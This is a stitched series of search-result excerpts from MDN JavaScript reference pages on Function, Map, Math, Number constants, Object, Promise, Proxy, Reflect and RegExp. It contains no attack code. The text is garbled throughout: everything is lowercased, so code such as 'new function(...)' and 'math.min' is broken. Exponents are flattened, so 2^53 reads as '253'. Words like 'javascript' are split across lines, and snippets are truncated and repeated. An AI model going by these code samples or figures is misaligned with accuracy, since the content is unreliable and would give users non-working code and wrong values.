...ample can be run directly in your javascr
ipt console // create a function that takes two arguments, and returns the sum of those arguments const adder = new function('a', 'b', 'return a + b'); // call the function adder(2, 6); // 8 the arguments "a" and "b" are formal argument names that are used in the function body, "return a + b". specifications specification ecmascr
ipt (ecma-262)the definition of 'function constructor' in that specification. ...
Function.prototype.toString() - JavaScript
thod returns a string representing the source code of the function. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax function.tostring() return value a string representing the source code of the function. descr
iption the function object overrides the tostring method inherited from object; it does not inherit object.prototype.tostring. for user-defined function objects, the tostring method returns a string containing the source text segment which was used to define the function. javascr
ipt calls the tostring method automatically when a function is to be represented as a text value, e.g. when a function i...
..." class a { a(){} } "class a { a(){} }" function* g(){} "function* g(){}" a => a "a => a" ({ a(){} }.a) "a(){}" ({ *a(){} }.a) "*a(){}" ({ [0](){} }[0]) "[0](){}" object.getownpropertydescr
iptor({ get a(){} }, "a").get "get a(){}" object.getownpropertydescr
iptor({ set a(x){} }, "a").set "set a(x){}" function.prototype.tostring "function tostring() { [native code] }" (function f(){}.bind(0)) "function () { [native code] }" function("a", "b") ...
... ...
GeneratorFunction - JavaScript
the generatorfunction constructor creates a new generator function object. in javascr
ipt, every generator function is actually a generatorfunction object. note that generatorfunction is not a global object. it could be obtained by evaluating the following code. object.getprototypeof(function*(){}).constructor syntax new generatorfunction ([arg1[, arg2[, ...argn]],] functionbody) parameters arg1, arg2, ... argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascr
ipt identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b". ...
...tion*(){}).constructor syntax new generatorfunction ([arg1[, arg2[, ...argn]],] functionbody) parameters arg1, arg2, ... argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascr
ipt identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b". functionbody a string containing the javascr
ipt statements comprising the function definition. descr
iption generator function objects created with the generatorfunction constructor are parsed when the function is created. this is less efficient than declaring a generator function with a function* expression and calling it within your code, because such functions are parsed with the rest of the code. all arguments passed to the function ar...
...he new operator) has the same effect as invoking it as a constructor. examples creating a generator function from a generatorfunction() constructor var generatorfunction = object.getprototypeof(function*(){}).constructor var g = new generatorfunction('a', 'yield a * 2'); var iterator = g(10); console.log(iterator.next().value); // 20 specifications specification ecmascr
ipt (ecma-262)the definition of 'generatorfunction' in that specification. ...
Infinity - JavaScript
property attributes of infinity writable no enumerable no configurable no the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...d us a pull request. descr
iption infinity is a property of the global object. in other words, it is a variable in global scope. the initial value of infinity is number.positive_infinity. the value infinity (positive infinity) is greater than any other number. this value behaves slightly differently than mathematical infinity; see number.positive_infinity for details. as defined by the ecmascr
ipt 5 specification, infinity is read-only (implemented in javascr
ipt 1.8.5 / firefox 4). examples using infinity console.log(infinity ); /* infinity */ console.log(infinity + 1 ); /* infinity */ console.log(math.pow(10, 1000)); /* infinity */ console.log(math.log(0) ); /* -infinity */ console.log(1 / infinity ); /* 0 */ console.log(1 / 0 ); /* infinity */ s...
...avascr
ipt 1.8.5 / firefox 4). examples using infinity console.log(infinity ); /* infinity */ console.log(infinity + 1 ); /* infinity */ console.log(math.pow(10, 1000)); /* infinity */ console.log(math.log(0) ); /* -infinity */ console.log(1 / infinity ); /* 0 */ console.log(1 / 0 ); /* infinity */ specifications specification ecmascr
ipt (ecma-262)the definition of 'infinity' in that specification. ...
Intl.Locale.prototype.calendar - JavaScript
the intl.locale.prototype.calendar property is an accessor property which returns the type of calendar used in the locale. descr
iption the calendar property returns the part of the locale that indicates the locale's calendar era. while most of the world uses the gregorian calendar, there are several regional calendar eras used around the world. the following table shows all the valid unicode calendar key strings, along with a descr
iption of the calendar era they represent. ...
...ns the part of the locale that indicates the locale's calendar era. while most of the world uses the gregorian calendar, there are several regional calendar eras used around the world. the following table shows all the valid unicode calendar key strings, along with a descr
iption of the calendar era they represent. unicode calendar keys unicode calendar keys calendar key (name) descr
iption buddhist thai buddhist calendar chinese traditional chinese calendar coptic coptic calendar dangi traditional korean calendar ethioaa ethiopic calendar, amete alem (epoch approx. 5493 b.c.e) ethiopic ethiopic calendar, amete mihret (epoch approx, 8 c.e.) gregory gregorian calendar hebrew tradit...
...tion object argument, which can contain any of several extension types, including calendars. set the calendar property of the configuration object to your desired calendar era, and then pass it into the constructor. let frbuddhist = new intl.locale("fr-fr", {calendar: "buddhist"}); console.log(frbuddhist.calendar); // prints "buddhist" specifications specification ecmascr
ipt internationalization api (ecma-402) ...
Intl.Locale.prototype.collation - JavaScript
the intl.locale.prototype.collation property is an accessor property that returns the collation type for the locale, which is used to order strings according to the locale's rules. descr
iption collation is the process of ordering strings of characters. it is used whenever strings must be sorted and placed into a certain order, from search query results to ordering records in a database. while the idea of placing strings in order might seem trivial, the idea of order can vary from region to region and language to language. the collation property helps to make it easier for javascr
ipt programmers to access the collation type used by a particular locale. below is a table with the available collation types, taken from the unicode collation specification. valid collation types coll...
...rings in order might seem trivial, the idea of order can vary from region to region and language to language. the collation property helps to make it easier for javascr
ipt programmers to access the collation type used by a particular locale. below is a table with the available collation types, taken from the unicode collation specification. valid collation types collation type descr
iption big5han pinyin ordering for latin, big5 charset ordering for cjk characters (used in chinese) compat a previous version of the ordering, for compatibility dict dictionary style ordering (such as in sinhala) the direct collation type has been deprected. do not use. direct binary code point order (used in hindi) ...
...ct argument, which can contain any of several extension types, including collation types. set the collation property of the configuration object to your desired collation type, and then pass it into the constructor. let configcoll = new intl.locale("en-latn-us", {collation: "emoji"}); console.log(configcoll.collation); // prints "emoji" specifications specification ecmascr
ipt internationalization api (ecma-402) ...
Intl.Locale.prototype.numberingSystem - JavaScript
the intl.locale.prototype.numberingsystem property is an accessor property that returns the numeral system used by the locale. descr
iption a numeral system is a system for expressing numbers. the numberingsystem property helps to represent the different numeral systems used by various countries, regions, and cultures around the world. as with most internationalization schemas, the numeral systems that can be represented in a locale object by numberingsystem are standardized by unicode. a table of the standard unicode numeral systems can be seen below. ...
... numbers. the numberingsystem property helps to represent the different numeral systems used by various countries, regions, and cultures around the world. as with most internationalization schemas, the numeral systems that can be represented in a locale object by numberingsystem are standardized by unicode. a table of the standard unicode numeral systems can be seen below. ...
...ion object argument, which can be used to pass extension types. set the numberingsystem property of the configuration object to your desired numberingsystem value and pass it into the constructor. let numberingsystemviaobj= new intl.locale("en-latn-us", {numberingsystem: "latn"}); console.log(us12hour.numberingsystem); // prints "latn" specifications specification ecmascr
ipt internationalization api (ecma-402) ...
Intl.NumberFormat.prototype.formatToParts() - JavaScript
the intl.numberformat.prototype.formattoparts() method allows locale-aware formatting of strings produced by numberformat formatters. syntax intl.numberformat.prototype.formattoparts(number) parameters number optional a number or bigint to format. return value an array of objects containing the formatted number in parts. descr
iption the formattoparts() method is useful for custom formatting of number strings. it returns an array of objects containing the locale-specific tokens from which it possible to build custom strings while preserving the locale-specific parts. the structure the formattoparts() method returns, looks like this: [ { type: "integer", value: "3" }, { type: "group", value: "." }, { type: "integer", value: "500" } ] possible types are the following: cu...
...y the infinity string ("?"). integer the integer number. literal any literal strings or whitespace in the formatted number. minussign the minus sign string ("-"). nan the nan string ("nan"). plussign the plus sign string ("+"). percentsign the percent sign string ("%"). examples comparing format and formattoparts numberformat outputs localized, opaque strings that cannot be man
ipulated directly: var number = 3500; var formatter = new intl.numberformat('de-de', { style: 'currency', currency: 'eur' }); formatter.format(number); // "3.500,00 eur" however, in many user interfaces there is a desire to customize the formatting of this string. the formattoparts method enables locale-aware formatting of strings produced by numberformat formatters by providing you the str...
... ...
Map - JavaScript
the map object holds key-value pairs and remembers the original insertion order of the keys. any value (both objects and primitive values) may be used as either a key or a value. descr
iption a map object iterates its elements in insertion order -- a for...of loop returns an array of [key, value] for each iteration. key equality key equality is based on the samevaluezero algorithm. nan is considered the same as nan (even though nan !== nan) and all other values are considered equal according to the semantics of the === operator. in the current ecmascr
ipt specification, -0 and +0 are considered equal, although this was not so in earlier drafts. see "value equality for -0 and 0" in the browser compatibility table for details. objects vs. maps object is similar to map--both let you s...
...eldom done. key types a map's keys can be any value (including functions, objects, or any primitive). the keys of an object must be either a string or a symbol. key order the keys in map are ordered. thus, when iterating over it, a map object returns keys in order of insertion. the keys of an object are not ordered. note: since ecmascr
ipt 2015, objects do preserve creation order for string and symbol keys. in javascr
ipt engines that comply with the ecmascr
ipt 2015 spec, iterating over an object with only string keys will yield the keys in order of insertion. size the number of items in a map is easily retrieved from its size property. the number of items in an object must be determined manually. i...
... ...
Math.clz32() - JavaScript
a number. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax math.clz32(x) parameters x a number. return value the number of leading zero bits in the 32-bit binary representation of the given number. descr
iption "clz32" is short for countleadingzeroes32. if x is not a number, then it will be converted to a number first, then converted to a 32-bit unsigned integer. if the converted 32-bit unsigned integer is 0, then return 32, because all bits are 0. this function is particularly useful for systems that compile to js, like emscr
ipten. count leading ones and beyond at present, there is no math.cl...
...ne integer |= integer << 16; integer |= integer << 8; integer |= integer << 4; integer |= integer << 2; integer |= integer << 1; // 2. now, inversing the bits reveals the lowest bits return 32 - clz(~integer) |0; // `|0` ensures integer coercion } function ctron(integer){ // count trailing ones // no shift-filling-in-with-ones operator is available in // javascr
ipt, so the below code is the fastest return ctrz(~integer); /* alternate implementation for demonstrational purposes: // 1. erase all the higher bits after the first zero integer &= (integer << 16) | 0xffff; integer &= (integer << 8 ) | 0x00ff; integer &= (integer << 4 ) | 0x000f; integer &= (integer << 2 ) | 0x0003; integer &= (integer << 1 ) | 0x0...
... ...
Math.fround() - JavaScript
es project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax var singlefloat = math.fround(doublefloat); parameters doublefloat a number. if the parameter is of a different type, it will get converted to a number or to nan if it cannot be converted. return value the nearest 32-bit single precision float representation of the given number. descr
iption javascr
ipt uses 64-bit double floating-point numbers internally, which offer a very high precision. however, sometimes you may be working with 32-bit floating-point numbers, for example if you are reading values from a float32array. this can create confusion: checking a 64-bit float and a 32-bit float for equality may fail even though the numbers are seemingly identical. to solve this, math...
...very high precision. however, sometimes you may be working with 32-bit floating-point numbers, for example if you are reading values from a float32array. this can create confusion: checking a 64-bit float and a 32-bit float for equality may fail even though the numbers are seemingly identical. to solve this, math.fround() can be used to cast the 64-bit float to a 32-bit float. internally, javascr
ipt continues to treat the number as a 64-bit float, it just performs a "round to even" on the 23rd bit of the mantissa, and sets all following mantissa bits to 0. if the number is outside the range of a 32-bit float, infinity or -infinity is returned. because fround() is a static method of math, you always use it as math.fround(), rather than as a method of a math object you created (math is not a...
... ...
Math.min() - JavaScript
-examples and send us a pull request. syntax math.min([value1[, value2[, ...]]]) parameters value1, value2, ... zero or more numbers among which the lowest value will be selected and returned. return value the smallest of the given numbers. if any one or more of the parameters cannot be converted into a number, nan is returned. the result is infinity if no parameters are provided. descr
iption because min() is a static method of math, you always use it as math.min(), rather than as a method of a math object you created (math is not a constructor). if no arguments are given, the result is infinity. if at least one of arguments cannot be converted to a number, the result is nan. examples using math.min() this finds the min of x and y and assigns it to z: var x = 10, y = -20; v...
...atic method of math, you always use it as math.min(), rather than as a method of a math object you created (math is not a constructor). if no arguments are given, the result is infinity. if at least one of arguments cannot be converted to a number, the result is nan. ...
...han as a method of a math object you created (math is not a constructor). if no arguments are given, the result is infinity. if at least one of arguments cannot be converted to a number, the result is nan. examples using math.min() this finds the min of x and y and assigns it to z: var x = 10, y = -20; var z = math.min(x, y); cl
ipping a value with math.min() math.min() is often used to cl
ip a value so that it is always less than or equal to a boundary. for instance, this var x = f(foo); if (x > boundary) { x = boundary; } may be written as this var x = math.min(f(foo), boundary); math.max() can be used in a similar way to cl
ip a value at the other end. specifications specification ecmascr
ipt (ecma-262)the definition of 'math.min' in that specification. ...
Number.MAX_SAFE_INTEGER - JavaScript
the number.max_safe_integer constant represents the maximum safe integer in javascr
ipt (253 - 1). for larger integers, consider using bigint. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of number.max_safe_integer writable no enumerable no configurable no descr
iption the max_safe_integer constant has a value of 9007199254740991 (9,007,199,254,740,991 or ~9 quadrillion). ...
...teractive-examples and send us a pull request. property attributes of number.max_safe_integer writable no enumerable no configurable no descr
iption the max_safe_integer constant has a value of 9007199254740991 (9,007,199,254,740,991 or ~9 quadrillion). the reasoning behind that number is that javascr
ipt uses double-precision floating-point format numbers as specified in ieee 754 and can only safely represent numbers between -(253 - 1) and 253 - 1. safe in this context refers to the ability to represent integers exactly and to correctly compare them. for example, number.max_safe_integer + 1 === number.max_safe_integer + 2 will evaluate to true, which is mathematically incorrect. see number.issa...
... ...
Number.MAX_VALUE - JavaScript
values larger than max_value are represented as infinity. ...
...e for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of number.max_value writable no enumerable no configurable no descr
iption the max_value property has a value of approximately 1.79e+308, or 21024. values larger than max_value are represented as infinity. because max_value is a static property of number, you always use it as number.max_value, rather than as a property of a number object you created. examples using max_value the following code mult
iplies two numeric values. if the result is less than or equal ...
....max_value, rather than as a property of a number object you created. examples using max_value the following code mult
iplies two numeric values. if the result is less than or equal to max_value, the func1 function is called; otherwise, the func2 function is called. if (num1 * num2 <= number.max_value) { func1(); } else { func2(); } specifications specification ecmascr
ipt (ecma-262)the definition of 'number.max_value' in that specification. ...
Number.MIN_SAFE_INTEGER - JavaScript
the number.min_safe_integer constant represents the minimum safe integer in javascr
ipt (-(253 - 1)). to represent integers smaller than this, consider using bigint. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of number.min_safe_integer writable no enumerable no configurable no descr
iption the min_safe_integer constant has a value of -9007199254740991 (-9,007,199,254,740,991 or about -9 quadrillion). ...
...e-examples and send us a pull request. property attributes of number.min_safe_integer writable no enumerable no configurable no descr
iption the min_safe_integer constant has a value of -9007199254740991 (-9,007,199,254,740,991 or about -9 quadrillion). the reasoning behind that number is that javascr
ipt uses double-precision floating-point format numbers as specified in ieee 754 and can only safely represent numbers between -(253 - 1) and 253 - 1. see number.issafeinteger() for more information. because min_safe_integer is a static property of number, you always use it as number.min_safe_integer, rather than as a property of a number object you created. examples using min_safe_integer numb...
.... see number.issafeinteger() for more information. because min_safe_integer is a static property of number, you always use it as number.min_safe_integer, rather than as a property of a number object you created. examples using min_safe_integer number.min_safe_integer // -9007199254740991 -(math.pow(2, 53) - 1) // -9007199254740991 specifications specification ecmascr
ipt (ecma-262)the definition of 'number.min_safe_integer' in that specification. ...
Number.MIN_VALUE - JavaScript
min_value has a value of approximately 5e-324. ...
...e for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of number.min_value writable no enumerable no configurable no descr
iption the min_value property is the number closest to 0, not the most negative number, that javascr
ipt can represent. min_value has a value of approximately 5e-324. values smaller than min_value ("underflow values") are converted to 0. because min_value is a static property of number, you always use it as number.min_value, rather than as a property of a number object you created. examples usin...
...n_value, rather than as a property of a number object you created. examples using min_value the following code divides two numeric values. if the result is greater than or equal to min_value, the func1 function is called; otherwise, the func2 function is called. if (num1 / num2 >= number.min_value) { func1(); } else { func2(); } specifications specification ecmascr
ipt (ecma-262)the definition of 'number.min_value' in that specification. ...
Number.isNaN() - JavaScript
e source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax number.isnan(value) parameters value the value to be tested for nan. return value true if the given value is nan and its type is number; otherwise, false. descr
iption due to both equality operators, == and ===, evaluating to false when checking if nan is nan, the function number.isnan() has become necessary. this situation is unlike all other possible value comparisons in javascr
ipt. in comparison to the global isnan() function, number.isnan() doesn't suffer the problem of forcefully converting the parameter to a number. this means it is now safe to pass...
... the global isnan() function, number.isnan() doesn't suffer the problem of forcefully converting the parameter to a number. this means it is now safe to pass values that would normally convert to nan, but aren't actually the same value as nan. this also means that only values of the type number, that are also nan, return true. polyfill the following works because nan is the only value in javascr
ipt which is not equal to itself. number.isnan = number.isnan || function isnan(input) { return typeof input === 'number' && input !== input; } examples using isnan number.isnan(nan); // true number.isnan(number.nan); // true number.isnan(0 / 0); // true // e.g. these would have been true with global isnan() number.isnan('nan'); // false number.isnan(undefined); // false ...
... ...
Number.prototype.toExponential() - JavaScript
notation with one digit before the decimal point, rounded to fractiondigits digits after the decimal point. exceptions rangeerror if fractiondigits is too small or too large. values between 0 and 20, inclusive, will not cause a rangeerror. implementations are allowed to support larger and smaller values as well. typeerror if this method is invoked on an object that is not a number. descr
iption if the fractiondigits argument is omitted, the number of digits after the decimal point defaults to the number of digits necessary to represent the value uniquely. if you use the toexponential() method for a numeric literal and the numeric literal has no exponent and no decimal point, leave whitespace(s) before the dot that precedes the method call to prevent the dot from being interpreted ...
... literal and the numeric literal has no exponent and no decimal point, leave whitespace(s) before the dot that precedes the method call to prevent the dot from being interpreted as a decimal point. if a number has more digits than requested by the fractiondigits parameter, the number is rounded to the nearest number represented by fractiondigits digits. see the discussion of rounding in the descr
iption of the tofixed() method, which also applies to toexponential(). examples using toexponential var numobj = 77.1234; console.log(numobj.toexponential()); // logs 7.71234e+1 console.log(numobj.toexponential(4)); // logs 7.7123e+1 console.log(numobj.toexponential(2)); // logs 7.71e+1 console.log(77.1234.toexponential()); // logs 7.71234e+1 console.log(77 .toexponential()); // logs 7.7e+1...
...nential(). examples using toexponential var numobj = 77.1234; console.log(numobj.toexponential()); // logs 7.71234e+1 console.log(numobj.toexponential(4)); // logs 7.7123e+1 console.log(numobj.toexponential(2)); // logs 7.71e+1 console.log(77.1234.toexponential()); // logs 7.71234e+1 console.log(77 .toexponential()); // logs 7.7e+1 specifications specification ecmascr
ipt (ecma-262)the definition of 'number.prototype.toexponential' in that specification. ...
Object.entries() - JavaScript
you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.entries(obj) parameters obj the object whose own enumerable string-keyed property [key, value] pairs are to be returned. return value an array of the given object's own enumerable string-keyed property [key, value] pairs. descr
iption object.entries() returns an array whose elements are arrays corresponding to the enumerable string-keyed property [key, value] pairs found directly upon object. the ordering of the properties is the same as that given by looping over the property values of the object manually. polyfill to add compatible object.entries() support in older environments that do not natively support it, you can...
... examples const obj = { foo: 'bar', baz: 42 }; console.log(object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ] // array like object const obj = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ] // array ...
... ...
Object.fromEntries() - JavaScript
tory. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.fromentries(iterable); parameters iterable an iterable such as array or map or other objects implementing the iterable protocol. return value a new object whose properties are given by the entries of the iterable. descr
iption the object.fromentries() method takes a list of key-value pairs and returns a new object whose properties are given by those entries. the iterable argument is expected to be an object that implements an @@iterator method, that returns an iterator object, that produces a two element array-like object, whose first element is a value that will be used as a property key, and whose second element...
...for more details, refer to: https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-...
... ...
Object.prototype.hasOwnProperty() - JavaScript
stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax obj.hasownproperty(prop) parameters prop the string name or symbol of the property to test. return value a boolean indicating whether or not the object has the specified property as own property. descr
iption all descendents of object inherit the hasownproperty method. this method can be used to determine whether an object has the specified property as a direct property of that object; unlike the in operator, this method does not check for a property in the object's prototype chain. if an object is an array, hasownproperty method can check whether an index exists. note hasownproperty returns tr...
...t hasownproperty itself is confined strictly to enumerable items (as with object.getownpropertynames()). var buz = { fog: 'stack' }; for (var name in buz) { if (buz.hasownproperty(name)) { console.log('this is fog (' + name + ') for sure. ...
... ...
Object.setPrototypeOf() - JavaScript
the object.setprototypeof() method sets the prototype (i.e., the internal [[prototype]] property) of a specified object to another object or null. warning: changing the [[prototype]] of an object is, by the nature of how modern javascr
ipt engines optimize property accesses, currently a very slow operation in every browser and javascr
ipt engine. in addition, the effects of altering inheritance are subtle and far-flung, and are not limited to simply the time spent in the object.setprototypeof(...) statement, but may extend to any code that has access to any object whose [[prototype]] has been altered. because this feature is a part of the language, it is still the burden on engine developers to implement that feature performantly (ideally). until engine developers address this issue, if yo...
... if you are concerned about performance, you should avoid setting the [[prototype]] of an object. instead, create a new object with the desired [[prototype]] using object.create(). syntax object.setprototypeof(obj, prototype) parameters obj the object which is to have its prototype set. prototype the object's new prototype (an object or null). return value the specified object. descr
iption throws a typeerror exception if the object whose [[prototype]] is to be modified is non-extensible according to object.isextensible(). does nothing if the prototype parameter isn't an object or null (i.e., number, string, boolean, or undefined). otherwise, this method changes the [[prototype]] of obj to the new value. object.setprototypeof() is in the ecmascr
ipt 2015 specification. it is ge...
... ...
Object.prototype.toSource() - JavaScript
the tosource() method returns a string representing the source code of the object. syntax object.tosource(); obj.tosource(); return value a string representing the source code of the object. descr
iption the tosource() method returns the following values: for the built-in object object, tosource() returns the following string indicating that the source code is not available: function object() { [native code] } for instances of object, tosource() returns a string representing the source code. you can call tosource() while debugging to examine the contents of an object. overriding the tosource() method it is safe for objects to override the tosource() method. for example: function person(name) { this.name = name; } person.prototype.tosource = function per...
...nts of an object. overriding the tosource() method it is safe for objects to override the tosource() method. for example: function person(name) { this.name = name; } person.prototype.tosource = function person_tosource() { return 'new person(' + uneval(this.name) + ')'; }; console.log(new person('joe').tosource()); // ---> new person("joe") built-in tosource() methods each core javascr
ipt type has its own tosource() method. these objects are: array.prototype.tosource() -- array object. boolean.prototype.tosource() -- boolean object. date.prototype.tosource() -- date object. function.prototype.tosource() -- function object. number.prototype.tosource() -- number object. regexp.prototype.tosource() -- regexp object. string.prototype.tosource() -- string object. symb...
...or providing an anonymous function. examples using tosource() the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog = new dog('gabby', 'lab', 'chocolate', 'female'); calling the tosource() method of thedog displays the javascr
ipt source that defines the object: thedog.tosource(); // returns ({name:"gabby", breed:"lab", color:"chocolate", sex:"female"}) specifications not part of any standard. ...
Object.prototype.valueOf() - JavaScript
is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.valueof() return value the primitive value of the specified object. a (unary) plus sign can sometimes be used as a shorthand for valueof, e.g. in +new number()). also see using unary plus. descr
iption javascr
ipt calls the valueof method to convert an object to a primitive value. you rarely need to invoke the valueof method yourself; javascr
ipt automatically invokes it when encountering an object where a primitive value is expected. by default, the valueof method is inherited by every object descended from object. every built-in core object overrides this method to return an appropriate v...
...u have an object type mynumbertype and you want to create a valueof method for it. the following code assigns a user-defined function to the object's valueof method: mynumbertype.prototype.valueof = function() { return customprimitivevalue; }; with the preceding code in place, any time an object of type mynumbertype is used in a context where it is to be represented as a primitive value, javascr
ipt automatically calls the function defined in the preceding code. an object's valueof method is usually invoked by javascr
ipt, but you can invoke it yourself as follows: mynumbertype.valueof() note: objects in string contexts convert via the tostring() method, which is different from string objects converting to string primitives using valueof. all objects have a string conversion, if only "[o...
... ...
Promise.prototype.then() - JavaScript
sing settimeout we can postpone the execution of a function to the moment the stack is empty settimeout(() => { console.log(thenprom); }); // logs, in order: // promise {[[promisestatus]]: "pending", [[promisevalue]]: undefined} // "this gets called after the end of the main stack. the value received and returned is: 33" // promise {[[promisestatus]]: "resolved", [[promisevalue]]: 33} descr
iption as the then and promise.prototype.catch() methods return promises, they can be chained -- an operation called composition. examples using the then method var p1 = new promise((resolve, reject) => { resolve('success!'); // or // reject(new error("error!")); }); p1.then(value => { console.log(value); // success! }, reason => { console.error(reason); // error! }); chaining the ...
...ccess!'); // or // reject(new error("error!")); }); p1.then(value => { console.log(value); // success! }, reason => { console.error(reason); // error! }); chaining the then method returns a promise which allows for method chaining. if the function passed as handler to then returns a promise, an equivalent promise will be exposed to the subsequent then in the method chain. the below sn
ippet simulates asynchronous code with the settimeout function. promise.resolve('foo') // 1. receive "foo", concatenate "bar" to it, and resolve that to the next then .then(function(string) { return new promise(function(resolve, reject) { settimeout(function() { string += 'bar'; resolve(string); }, 1); }); }) // 2. receive "foobar", register a callback fu...
... ...
handler.set() - JavaScript
d. this is bound to the handler. target the target object. property the name or symbol of the property to set. value the new value of the property to set. receiver the object to which the assignment was originally directed. this is usually the proxy itself. but a set() handler can also be called indirectly, via the prototype chain or various other ways. for example: suppose a scr
ipt does obj.name = "jen", and obj is not a proxy, and has no own property .name, but it has a proxy on its prototype chain. that proxy's set() handler will be called, and obj will be passed as the receiver. return value the set() method should return a boolean value. return true to indicate that assignment succeeded. if the set() method returns false, and the assignment happened in stric...
... and has no own property .name, but it has a proxy on its prototype chain. that proxy's set() handler will be called, and obj will be passed as the receiver. return value the set() method should return a boolean value. return true to indicate that assignment succeeded. if the set() method returns false, and the assignment happened in strict-mode code, a typeerror will be thrown. descr
iption the handler.set() method is a trap for setting property value. interceptions this trap can intercept these operations: property assignment: proxy[foo] = bar and proxy.foo = bar inherited property assignment: object.create(proxy)[foo] = bar reflect.set() invariants if the following invariants are violated, the proxy will throw a typeerror: cannot change the value of a property to...
... value. const p = new proxy({}, { set: function(target, prop, value, receiver) { target[prop] = value; console.log('property set: ' + prop + ' = ' + value); return true; } }) console.log('a' in p); // false p.a = 10; // "property set: a = 10" console.log('a' in p); // true console.log(p.a); // 10 specifications specification ecmascr
ipt (ecma-262)the definition of '[[set]]' in that specification. ...
Proxy() constructor - JavaScript
the proxy() constructor is used to create proxy objects. syntax new proxy(target, handler) parameters target a target object to wrap with proxy. it can be any sort of object, including a native array, a function, or even another proxy. handler an object whose properties are functions that define the behavior of the proxy when an operation is performed on it. descr
iption use the proxy() constructor to create a new proxy object. this constructor takes two mandatory arguments: target is the object for which you want to create the proxy handler is the object that defines the custom behavior of the proxy. an empty handler will create a proxy that behaves, in almost all respects, exactly like the target. by defining any of a set group of functions on the handler object, you can ...
...ndler functions are sometimes called traps, because they trap calls to the underlying target object. handler.apply() a trap for a function call. handler.construct() a trap for the new operator. handler.defineproperty() a trap for object.defineproperty. handler.deleteproperty() a trap for the delete operator. handler.get() a trap for getting property values. handler.getownpropertydescr
iptor() a trap for object.getownpropertydescr
iptor. handler.getprototypeof() a trap for object.getprototypeof. handler.has() a trap for the in operator. handler.isextensible() a trap for object.isextensible. handler.ownkeys() a trap for object.getownpropertynames and object.getownpropertysymbols. handler.preventextensions() a trap for object.preventextensions. handler.set() a trap for s...
... ...
Reflect - JavaScript
you cannot use it with a new operator or invoke the reflect object as a function. all properties and methods of reflect are static (just like the math object). the reflect object provides the following static functions which have the same names as the proxy handler methods. some of these methods are also the same as corresponding methods on object, although they do have some subtle differences between them. ...
...(). returns a boolean that is true if the property was successfully defined. reflect.deleteproperty(target, propertykey) the delete operator as a function. equivalent to calling delete target[propertykey]. reflect.get(target, propertykey[, receiver]) returns the value of the property. works like getting a property from an object (target[propertykey]) as a function. reflect.getownpropertydescr
iptor(target, propertykey) similar to object.getownpropertydescr
iptor(). returns a property descr
iptor of the given property if it exists on the object, undefined otherwise. reflect.getprototypeof(target) same as object.getprototypeof(). reflect.has(target, propertykey) returns a boolean indicating whether the target has the property. either as own or inherited. works like the in operator as a...
... ...
RegExp() constructor - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...xpressions object is supplied, that object's flags (and lastindex value) will be copied over. flags may contain any combination of the following characters: g (global match) find all matches rather than stopping after the first match. i (ignore case) if u flag is also enabled, use unicode case folding. m (multiline) treat beginning and end characters (^ and $) as working over mult
iple lines. in other words, match the beginning or end of each line (delimited by \n or \r), not only the very beginning or end of the whole input string. s ("dotall") allows . to match newlines. u (unicode) treat pattern as a sequence of unicode code points. (see also binary strings). y (sticky) matches only from the index indicated by the lastindex property of this regular expression i...
...each iteration. the constructor of the regular expression object--for example, new regexp('ab+c')--results in runtime compilation of the regular expression. use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and are getting it from another source, such as user input. specifications specification ecmascr
ipt (ecma-262)the definition of 'regexp constructor' in that specification. ...
RegExp.prototype.compile() - JavaScript
the deprecated compile() method is used to (re-)compile a regular expression during execution of a scr
ipt. it is basically the same as the regexp constructor. syntax regexobj.compile(pattern, flags) parameters pattern the text of the regular expression. flags if specified, flags can have any combination of the following values: g global match i ignore case m multiline; treat beginning and end characters (^ and $) as working over mult
iple lines (i.e., match the beginning or end of each line (delimited by \n or \r), not only the very beginning or end of the whole input string) y sticky; matches only from the index indicated by the lastindex property of this regular expression in the target string (and does not attempt to match from any later indexes). des...
...at beginning and end characters (^ and $) as working over mult
iple lines (i.e., match the beginning or end of each line (delimited by \n or \r), not only the very beginning or end of the whole input string) y sticky; matches only from the index indicated by the lastindex property of this regular expression in the target string (and does not attempt to match from any later indexes). descr
iption the compile method is deprecated. you can just use the regexp constructor to achieve the same effect. examples using compile() the following example shows how to recompile a regular expression with a new pattern and a new flag. ...
... later indexes). descr
iption the compile method is deprecated. you can just use the regexp constructor to achieve the same effect. examples using compile() the following example shows how to recompile a regular expression with a new pattern and a new flag. var regexobj = new regexp('foo', 'gi'); regexobj.compile('new foo', 'g'); specifications specification ecmascr
